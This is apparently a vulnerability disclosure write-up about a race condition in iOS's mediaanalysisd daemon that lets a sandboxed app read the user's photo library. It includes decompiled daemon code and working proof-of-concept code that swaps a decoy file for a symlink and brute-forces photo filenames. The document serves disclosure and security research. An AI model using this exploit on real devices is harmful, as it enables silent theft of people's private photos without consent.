CVE-2026-113915: Racing mediaanalysisd to Exfiltrate the iOS Photo Library
iOS is supposed to keep your photos private. Hidden and Recently Deleted albums are protected by Face ID, and apps have to ask for permission before accessing your photo library. But what if any app could quietly extract your entire gallery, including hidden and recently deleted photos and videos, without ever showing a permission prompt? In this write-up, I'll walk through a race condition that breaks iOS's photo privacy model.
Inside mediaanalysisd
The mediaanalysisd binary lives at /System/Library/PrivateFrameworks/MediaAnalysis.framework/mediaanalysisd. I loaded it into IDA and started at start:
void *start(__int64 a1, __int64 a2)
{
xpc_transactions_enable();
signal(15, SIG_IGN);
// ...
v7 = objc_alloc_init(&OBJC_CLASS___VCPMediaAnalysisDaemon);
v8 = -[VCPMediaAnalysisDaemon run:argv:](v7, "run:argv:", a1, a2);
// ...
}
The daemon creates a VCPMediaAnalysisDaemon instance and calls run:argv:. That's where the initialization happens, so let's follow it. Inside run:argv:, we can see a bunch of NSXPCListener instances being created, each listening on its own Mach service. For example:
// Create a listener for the service
v21 = [[NSXPCListener alloc] initWithMachServiceName:@"com.apple.mediaanalysisd.service.public"];
self->_publicServiceListener = v21;
// Set the delegate and start listening
[self->_publicServiceListener setDelegate:self];
[self->_publicServiceListener resume];
There are nine listeners in total, including _storageListener, _analysisListener, _homeKitListener, and _publicServiceListener. They all share the same delegate: the VCPMediaAnalysisDaemon instance itself. That means incoming connections all end up in listener:shouldAcceptNewConnection:. But not every service is reachable from the sandbox. I scanned the Mach services accessible to a sandboxed app and got:
REACHABLE com.apple.mediaanalysisd.analysis
REACHABLE com.apple.mediaanalysisd.service.public
REACHABLE com.apple.mediaanalysisd.videosession.public
Three services. The name service.public is a pretty good hint that this is an interface intended to be accessible to regular apps. Unlike private services, which typically require specific entitlements, public services often accept connections without those checks. Matching the services against the listeners in the code points us to _publicServiceListener. Let's see how the daemon handles connections to it.
Handling Incoming Connections
VCPMediaAnalysisDaemon listener:shouldAcceptNewConnection: takes two arguments: listener (the listener that received the connection) and connection (the incoming connection itself). Remember how run:argv: stored each listener in an instance variable:
// VCPMediaAnalysisDaemon run:argv:
v21 = [[NSXPCListener alloc] initWithMachServiceName:@"com.apple.mediaanalysisd.service.public"];
self->_publicServiceListener = v21; // Store the listener pointer in an ivar
Now, listener:shouldAcceptNewConnection: compares the incoming listener against that same pointer:
// VCPMediaAnalysisDaemon listener:shouldAcceptNewConnection:
v6 = objc_retain(a3); // v6 is the listener that received the connection
if ( self->_publicServiceListener == v6 || self->_videoSessionListener == v6 )
goto LABEL_21; // Skip the entitlement checks
If the connection comes through _publicServiceListener or _videoSessionListener, execution jumps straight to LABEL_21, bypassing the checks. So what gets checked for the other listeners?
// VCPMediaAnalysisDaemon listener:shouldAcceptNewConnection:
// Check the entitlement for other services
v12 = SecTaskCopyValueForEntitlement(task, "com.apple.mediaanalysisd.client", &error);
if ( v12 == nullptr || CFEqual(v12, kCFBooleanTrue) == 0 )
{
// "Client not entitled; denying connection"
goto LABEL_40; // Reject the connection
}
The daemon checks for the com.apple.mediaanalysisd.client entitlement. If the client doesn't have it, the connection gets rejected. But for the public service, that check is skipped entirely. Any sandboxed app can connect. At LABEL_21, the daemon picks the handler class for the connection:
// VCPMediaAnalysisDaemon listener:shouldAcceptNewConnection:
LABEL_21:
// ...
else if ( self->_publicServiceListener == v6 )
{
v22 = off_10027CFE8; // Pointer to the class
}
// ...
v25 = [*v22 clientHandlerWithXPCConnection:v8];
What's at off_10027CFE8? Here's what IDA shows:
__got:10027CFE8 off_10027CFE8 DCQ _OBJC_CLASS_$_VCPMADServicePublicClientHandler
It's a GOT entry pointing to VCPMADServicePublicClientHandler. The daemon then calls a factory method:
// VCPMADServicePublicClientHandler clientHandlerWithXPCConnection:
+[VCPMADServicePublicClientHandler clientHandlerWithXPCConnection:](id a1, SEL a2, id a3)
{
v4 = objc_retain(a3); // a3 = connection
v5 = [[self alloc] initWithXPCConnection:v4];
return objc_autoreleaseReturnValue(v5);
}
Nothing fancy here: it creates a handler instance and initializes it with the incoming connection. There's quite a bit going on in initWithXPCConnection:, but the part we care about is how it configures the exported interface:
// VCPMADServicePublicClientHandler initWithXPCConnection:
// Store the connection
objc_storeStrong(&self->_connection, a3);
// Export this handler object
[self->_connection setExportedObject:self];
// Create an interface from the protocol
v10 = [NSXPCInterface interfaceWithProtocol:@protocol(VCPMADServicePublicServerProtocol)];
// Set the exported interface
[self->_connection setExportedInterface:v10];
VCPMADServicePublicServerProtocol defines the methods a client can call over XPC. I looked it up in IDA and checked the method list:
__objc_methlist:1001E3630 _OBJC_INSTANCE_METHODS_VCPMADServicePublicServerProtocol
requestImageProcessing:forIOSurface:withOrientation:identifier:requestID:andReply:
requestImageProcessing:forAssetURL:withSandboxToken:identifier:requestID:andReply: <- interesting: URL + sandboxToken
requestVideoProcessing:assetURL:sandboxToken:identifier:requestID:reply: <- same idea
currentOutstandingTasksWithReply:
cancelRequest:
cancelAllRequests
startEntryPointWithQueryID:
startEntryPointWithQueryID:andEvent:
cacheHitWithQueryID:cachedResultQueryID:
cacheHitWithQueryID:cachedResultQueryID:engagementSuggestionType:
endEntryPoint
queryUserSafetyEnablement:
subscribeUserSafety:
submitSpotlightAssetURL:uniqueIdentifier:bundleIdentifier:typeIdentifier:sandboxToken:reply:
requestTextPrewarming:requestID:reply:
requestTextProcessing:textInputs:requestID:reply:
requestMultiModalPrewarming:requestID:reply:
requestProcessing:multiModalInputs:requestID:reply:
Two methods caught my eye: requestImageProcessing:forAssetURL:withSandboxToken:... and requestVideoProcessing:assetURL:sandboxToken:.... Both take a file URL and a sandbox extension token. Let's start with the image-processing method.
TOCTOU
Here's the implementation of requestImageProcessing:forAssetURL:withSandboxToken:...:
// VCPMADServicePublicClientHandler requestImageProcessing:forAssetURL:withSandboxToken:identifier:requestID:andReply:
// a4 = URL, a5 = sandboxToken
// Logging
if ( MediaAnalysisLogLevel() >= 2 )
os_log("[MADServicePublic] Request image processing...");
// Validate the sandbox extension
v22 = [VCPMADServicePublicClientHandler consumeSandboxExtension:v32 url:v33];
if ( v22 < 0 )
{
// Invalid token: return an error
error = [NSError errorWithDomain:... code:-50 ...];
reply(nil, error);
return;
}
// Create an asset from the URL
v23 = [VCPMADServiceImageAsset assetWithURL:v33 identifier:... clientBundleID:... clientTeamID:...];
// Create a processing task
v29 = [VCPMADServiceImageProcessingTask taskWithRequests:... forAsset:v23 ...];
// Submit the task to the scheduler
[self->_queuingTaskScheduler submitClientTask:v29 withRequestID:... ...];
First it logs the request, then calls consumeSandboxExtension:url: to validate access. If that succeeds, it creates an asset and a task. Let's dig into consumeSandboxExtension:url::
// VCPMADServicePublicClientHandler consumeSandboxExtension:url:
// Get the filesystem path from the URL
v9 = [url fileSystemRepresentation];
// Get the client's audit token from the XPC connection
connection = self->_connection;
objc_msgSend_auditToken(buf, connection);
// Check whether the client's sandbox allows reading this file
v11 = sandbox_check_by_audit_token(buf, "file-read*", SANDBOX_CHECK_NO_REPORT | 1);
if ( v11 == -1 ) // Error
return -1;
if ( v11 == 1 ) // Access denied
return -1;
// The client has access; consume the extension token
v15 = sandbox_extension_consume([sandboxToken UTF8String]);
return v15;
The method extracts the path from the URL, gets the client's audit token, and calls sandbox_check_by_audit_token to determine whether that client can read the file at the given path. If the check passes, it activates the sandbox extension with sandbox_extension_consume. The important detail is that the check is tied to the path, not the file's inode.
Back in requestImageProcessing:..., let's see what happens after the check. First, it creates an asset:
+[VCPMADServiceImageAsset assetWithURL:identifier:clientBundleID:clientTeamID:]
{
v9 = objc_retain(url);
v10 = objc_retain(identifier);
v11 = objc_retain(bundleID);
v12 = objc_retain(teamID);
// Create a VCPMADServiceImageURLAsset
v13 = [[VCPMADServiceImageURLAsset alloc]
initWithURL:v9
identifier:v10
clientBundleID:v11
clientTeamID:v12];
return objc_autoreleaseReturnValue(v13);
}
Inside initWithURL:, the URL gets stored in an instance variable:
-[VCPMADServiceImageURLAsset initWithURL:identifier:clientBundleID:clientTeamID:]
{
// Call the superclass initializer
v13 = [super initWithClientBundleID:bundleID clientTeamID:teamID];
if ( v13 != nil )
{
objc_storeStrong(&v13->_url, url); // Store the URL in an ivar
objc_storeStrong(&v13->_identifier, identifier);
v13->_orientation = 1;
}
return v13;
}
Next, it creates a task:
-[VCPMADServiceImageProcessingTask initWithRequests:forAsset:cancelBlock:andCompletionHandler:]
{
v16 = [super initWithCompletionHandler:completionHandler];
if ( v16 != nil )
{
objc_storeStrong(&v16->_requests, requests);
objc_storeStrong(&v16->_asset, asset); // Keep a reference to the asset
v16->_subtasks = [NSMutableArray array]; // Array of subtasks
}
return v16;
}
The task stores _asset and gets queued through submitClientTask:. When the scheduler picks it up, it calls run::
-[VCPMADServiceImageProcessingTask run:]
{
// ...
v12 = objc_retain(self->_subtasks);
// Iterate over _subtasks
while ( 1 )
{
v19 = *(_subtasks[index]); // Get the current subtask
if ( ![self isCanceled] )
{
v27 = objc_msgSend(v19, "run"); // Run the subtask
// ...
}
}
// Call the completion handler
completionHandler(nil, nil);
return YES;
}
Each subtask calls loadPixelBuffer:orientation: on the asset from its own run method. Here's VCPMADVIFaceTask as an example:
-[VCPMADVIFaceTask run]
{
// ... logging ...
os_log("VCPMADVIFaceTask running...");
v173 = 0;
v172 = 0;
// Load the pixel buffer from the asset
v5 = [self->_imageAsset loadPixelBuffer:&v173 orientation:&v172];
if ( v5 != 0 )
{
os_log("VCPMADVIFaceTask image loading failed");
// ...
}
// ... image processing ...
}
And loadPixelBuffer:orientation: opens the file using the saved URL:
-[VCPMADServiceImageURLAsset loadPixelBuffer:orientation:]
{
// Only load the pixel buffer if it hasn't been loaded yet
if ( self->_pixelBuffer == nil )
{
// ... signpost logging ...
// Get the shared image manager
v15 = [VCPImageManager sharedImageManager];
// Load the image from the URL
pixelBuffer = [v15 pixelBufferWithFormat:875704422
fromImageURL:self->_url // <-- URL stored in the ivar
flushCache:YES
orientation:&self->_orientation];
self->_pixelBuffer = pixelBuffer;
if ( self->_pixelBuffer == nil )
return -18; // Failed to load the image
}
*pixelBufferOut = CFRetain(self->_pixelBuffer);
*orientationOut = self->_orientation;
return 0;
}
There's our USE: the file is opened using self->_url. Crucially, this happens later, when the scheduler runs the task.
Here's the full call chain, from start to the actual file read:
There's a window between CHECK and USE. That's where a symlink swap comes in.
After creating the task, the method sets up a completion block:
// VCPMADServicePublicClientHandler requestImageProcessing:forAssetURL:withSandboxToken:identifier:requestID:andReply:
v38[0] = _NSConcreteStackBlock;
v38[2] = sub_1000083D0; // Completion handler
v44 = v22; // Save the handle returned by sandbox_extension_consume
Once processing finishes, sub_1000083D0 runs:
// sub_1000083D0 - completion handler
void sub_1000083D0(block, result) {
// ... logging ...
// Invoke the original reply callback with the result
if ( result != nil )
reply(nil, result); // Success
else
reply(error, nil); // Error
// Release the sandbox extension
sandbox_extension_release(a1[9]); // a1[9] = v44 = v22
}
The sandbox extension is released after processing finishes. The file, however, is opened before that, while the task is running. So there's a gap between CHECK and USE. What happens if we swap the file during that gap?
- Create
/var/mobile/.../myfile.jpginside our app's container. - Get a sandbox extension for that path.
- Call
requestImageProcessing:forAssetURL:withSandboxToken:.... - The daemon checks access and confirms that the client can read
/var/mobile/.../myfile.jpg. - Right then, remove the file and replace it with a symlink:
myfile.jpg -> /var/mobile/Media/DCIM/100APPLE/IMG_0001.HEIC. - The daemon opens
/var/mobile/.../myfile.jpgfor processing, but the path now resolves to a photo in the user's library.
Because the daemon has TCC privileges, it can read the symlink target and return the processed result to the client. The video-processing method, requestVideoProcessing:assetURL:sandboxToken:identifier:requestID:reply:, has a similar issue.
Building the PoC
Before writing the dumper, I ran into a small problem: we don't know the filenames in the photo library. Photos are stored under /private/var/mobile/Media/DCIM/100APPLE/. The exact names aren't known, but they follow a predictable pattern: IMG_XXXX.extension. So we can try the possible combinations:
for (int n = 1; n <= 9999; n++) {
for (NSString *ext in @[@"HEIC", @"JPG", @"PNG"]) {
NSString *path = [NSString stringWithFormat:
@"/private/var/mobile/Media/DCIM/100APPLE/IMG_%04d.%@", n, ext];
// Try to exfiltrate this file
}
}
There's another problem: races are unpredictable. Sometimes the file gets swapped in time; sometimes it doesn't. If we lose the race, the daemon processes our decoy instead of the actual photo. So we need to:
- Retry with different delays.
- Tell a successful extraction apart from a failed attempt.
To detect success, I used a green decoy image:
// Create an 8x8 green decoy image
UIGraphicsBeginImageContextWithOptions(CGSizeMake(8, 8), YES, 1);
[[UIColor greenColor] setFill];
UIRectFill(CGRectMake(0, 0, 8, 8));
NSData *decoy = UIImagePNGRepresentation(UIGraphicsGetImageFromCurrentImageContext());
If the returned image is green, we lost the race and the daemon processed the decoy. If it's a different color, we got the real photo:
// Check the first pixel
uint8_t px[4] = {0};
CGContextDrawImage(ctx, rect, img.CGImage);
// Green means failure; another color means success
return (px[0] < 50 && px[1] > 200 && px[2] < 50) ? nil : img;
First, let's declare the protocol. We only need one method:
@protocol VCPMADServicePublicServerProtocol <NSObject>
@optional
- (void)requestImageProcessing:(id)requests
forAssetURL:(NSURL *)url
withSandboxToken:(NSString *)token
identifier:(NSString *)identifier
requestID:(int)requestID
andReply:(void (^)(id, id))reply;
@end
Now connect to the service:
- (void)setup
{
// Load the framework for MADMLScalingRequest/Result
dlopen("/System/Library/PrivateFrameworks/MediaAnalysis.framework/MediaAnalysis", RTLD_NOW);
// Connect to the public service
_conn = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.mediaanalysisd.service.public"
options:0];
_conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(VCPMADServicePublicServerProtocol)];
// ... plus the allowed-class configuration for XPC
[_conn resume];
}
Here's the extraction method:
- (UIImage *)exfil:(NSString *)target decoy:(NSData *)decoy delay:(useconds_t)delay
{
NSString *tmp = NSTemporaryDirectory();
NSString *race = [tmp stringByAppendingPathComponent:@"r"];
NSString *sym = [tmp stringByAppendingPathComponent:@"s"];
// Create the decoy file
unlink(race.UTF8String);
[decoy writeToFile:race atomically:NO];
// Create a symlink to the target photo
unlink(sym.UTF8String);
symlink(target.UTF8String, sym.UTF8String);
// Get a sandbox extension for the decoy
char *tok = sandbox_extension_issue_file("com.apple.app-sandbox.read", race.UTF8String, 0);
if (!tok) return nil;
NSString *token = @(tok);
free(tok);
id req = [NSClassFromString(@"MADMLScalingRequest") new];
[req setValue:@256 forKey:@"scaledImageWidth"];
[req setValue:@256 forKey:@"scaledImageHeight"];
dispatch_semaphore_t sem = dispatch_semaphore_create(0);
__block UIImage *img = nil;
// Send the processing request to the daemon
[[_conn remoteObjectProxy] requestImageProcessing:@[req]
forAssetURL:[NSURL fileURLWithPath:race]
withSandboxToken:token
identifier:@"x"
requestID:++_rid
andReply:^(id results, id meta) {
// Extract the pixel buffer from the result
CVPixelBufferRef buf = [[results[0] valueForKey:@"results"][0] pixelBuffer];
if (buf) {
CIImage *ci = [CIImage imageWithCVPixelBuffer:buf];
CGImageRef cg = [[CIContext new] createCGImage:ci fromRect:CGRectMake(0, 0, 256, 256)];
img = [UIImage imageWithCGImage:cg];
CGImageRelease(cg);
}
dispatch_semaphore_signal(sem);
}];
// RACE: wait briefly, then swap the file
usleep(delay);
rename(sym.UTF8String, race.UTF8String);
dispatch_semaphore_wait(sem, dispatch_time(DISPATCH_TIME_NOW, 5 * NSEC_PER_SEC));
if (!img) return nil;
return img;
}
After sending the request, we wait delay microseconds and use rename() to atomically replace the decoy with the symlink. If the timing is right, the daemon has already passed CHECK (the sandbox extension validation) but hasn't reached USE (opening the file) yet. By the time it opens the path at race, it's no longer looking at our decoy: it's following a symlink into the photo library.
Conclusion
This TOCTOU bug in mediaanalysisd lets a sandboxed App Store app silently extract the user's photo library, including Hidden and Recently Deleted photos. A similar issue affects video processing as well.
Timeline
| Date | Event |
|---|---|
| 07/18/2026 | Reported to Apple |
| 09/XX/2026 | Sent a PoC for the latest macOS beta available at the time |
| 10/26/2026 | Assigned CVE-2026-113915 |
Thanks for reading, happy bug hunting!